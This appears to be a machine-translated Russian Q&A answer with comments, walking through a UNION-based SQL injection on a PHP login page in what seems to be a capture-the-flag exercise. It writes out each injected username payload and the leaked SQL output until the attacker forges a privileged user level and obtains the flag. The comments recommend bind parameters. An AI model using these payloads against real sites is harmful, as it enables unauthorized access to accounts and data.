Учитывая конструкцию SQL, используемый в коде, то есть:
SELECT * FROM users WHERE username='$username'
Это действительно кажется, есть SQL Injection уязвимости. Чтобы успешно использовать это, нам, вероятно, придется забить несколько попыток на странице.
Поскольку мы не можем изменить постоянную часть этой строки, мы бы целью получения текста SQL, чтобы быть что-то вроде этого:
SELECT *
FROM users
WHERE username = '' AND 1=0
UNION ALL
SELECT '','','','secret' AS password, '51' AS user_level, ''
Очевидно, что мы должны были бы успешно угадать число столбцов в пользователях, и угадывать позиции столбцов «» и «user_level
». Мы могли бы попробовать ввести пароль и в несколько пунктов ...
На форме ввода текста для пользователя, мы бы ввести что-то вроде:
' AND 1=0 UNION ALL SELECT 'secret','secret','secret','secret','51','51','51',51
Для пароль, мы бы ввести: secret
Мы могли забить на него с различным числом столбцов и разные позиции для пароля и user_level.
С достаточным количеством попыток мы можем получить строку, возвращаемую запросом. Если бы мы знали о количестве столбцов и позиции столбцов с паролем и user_level, мы бы опередили игру.
Если мы сможем включить эту отладку и получить веб-сайт для отображения ошибки SQL, это также облегчит нам задачу. Как только мы нажмем форму, которая не возвращает ошибку SQL, мы знаем, что количество столбцов угадано правильно. Нам не нужно правильно угадывать имена столбцов, так как запрос UNION/UNION ALL получает имена столбцов из первого запроса.
Обратите внимание, что наши попытки были бы полностью сорваны, если приложение использовало подготовленный оператор с переменной привязки. (Мы должны были бы использовать уязвимость в подготовленном заявлении/связывания заполнителем для того, чтобы наши данные вводили в текст SQL.)
Followup
Если поиграться с почтовыми значениями перед их отправкой мы можем установить это «скрытое» значение отладки до 1.
Мы начнем с предположения, что в таблице users
имеется как минимум три столбца.
попытка (попробуйте три колонки):
username: ' OR 1=0 UNION ALL SELECT 'a','a','a
password: a
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','a','a'
SQL error: The used SELECT statements have a different number of columns
Login failed.
страница Войти просачивается информация. Теперь мы знаем запрос, что страница работает, и мы знаем, что таблица users не имеет трех столбцов.
попытка , (попробуйте четыре колонки):
username: ' OR 1=0 UNION ALL SELECT 'b','b','b','b
password: b
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'b','b','b','b'
SQL error: The used SELECT statements have a different number of columns
Таким образом, это не четыре колонны либо. Попробуем пять столбцов.
попытка , (попробуйте пять столбцов):
username: ' OR 1=0 UNION ALL SELECT 'c','c','c','c','c
password: cb
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'c','c','c','c','c'
Logged in!
User level: c
Only user levels 1337 or above can see the flag.
Итак, мы знаем, знаем, что таблица пользователей имеет пять колонок. Теперь нам просто нужно выяснить, какой из этих столбцов является столбцом пароля.
попытка (пароль в пятом столбце):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
password: e
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
Login failed.
Таким образом, пароль не пятая колонна.Давайте попробуем четвертый столбец:
попытка (пароль в четвертой колонке):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
password: d
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
Login failed.
Итак, мы знаем, пароль не четвертый столбец. Попробуем третий столбец.
попытка (пароль в третьем столбце):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
password: c
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
Logged in!
User level: e
Only user levels 1337 or above can see the flag.
Итак, мы определили, что пароль является третий столбец в таблице пользователей. Страница утешает нам больше информации. Похоже, что пятый столбец - это уровень пользователя (результат, который мы получили назад, говорит нам, что уровень пользователя - это значение, которое мы поставили для пятого столбца. Итак, давайте попробуем указать значение 1337 как значение пятой колонки.
попытка (пароль в третьей колонке, пятая колонна, как уровень пользователя = 1337):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337
password: c
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337'
Logged in!
User level: 1337
Your flag is: flag_nJZAKGWYt7YfzmTsCV
Итак, мы показали, подвигом SQL Injection уязвимости, всего семь попыток
Попробуйте использовать Bind-параметров.: http://php.net/manual/en/mysqli-stmt.bind-param.php (Это помогает против инъекций, потому что процесс происходит на сервере mysql, а не клиент (php))> Примечание. Вы задаете вопрос как не по теме. –
Вы только «новичок в [SQL-инъекциях] (http://bobby-tables.com/)», потому что вы не использовали правильные средства для их устранения. Современная [структура разработки] (http://codegeekz.com/best-php-frameworks-for-developers/), подобная [Laravel] (http://laravel.com/), имеет способы взаимодействия с базой данных, которые в значительной степени избегают эта проблема, если вы будете следовать надлежащим процедурам. То, что у вас здесь, - это крушение поезда, HTML, SQL и PHP, все разбитые вместе. – tadman
Этот вопрос не соответствует теме, поскольку речь идет о безопасности программного обеспечения. Вы можете получить помощь по [Security.SE] (http://security.stackexchange.com). – esqew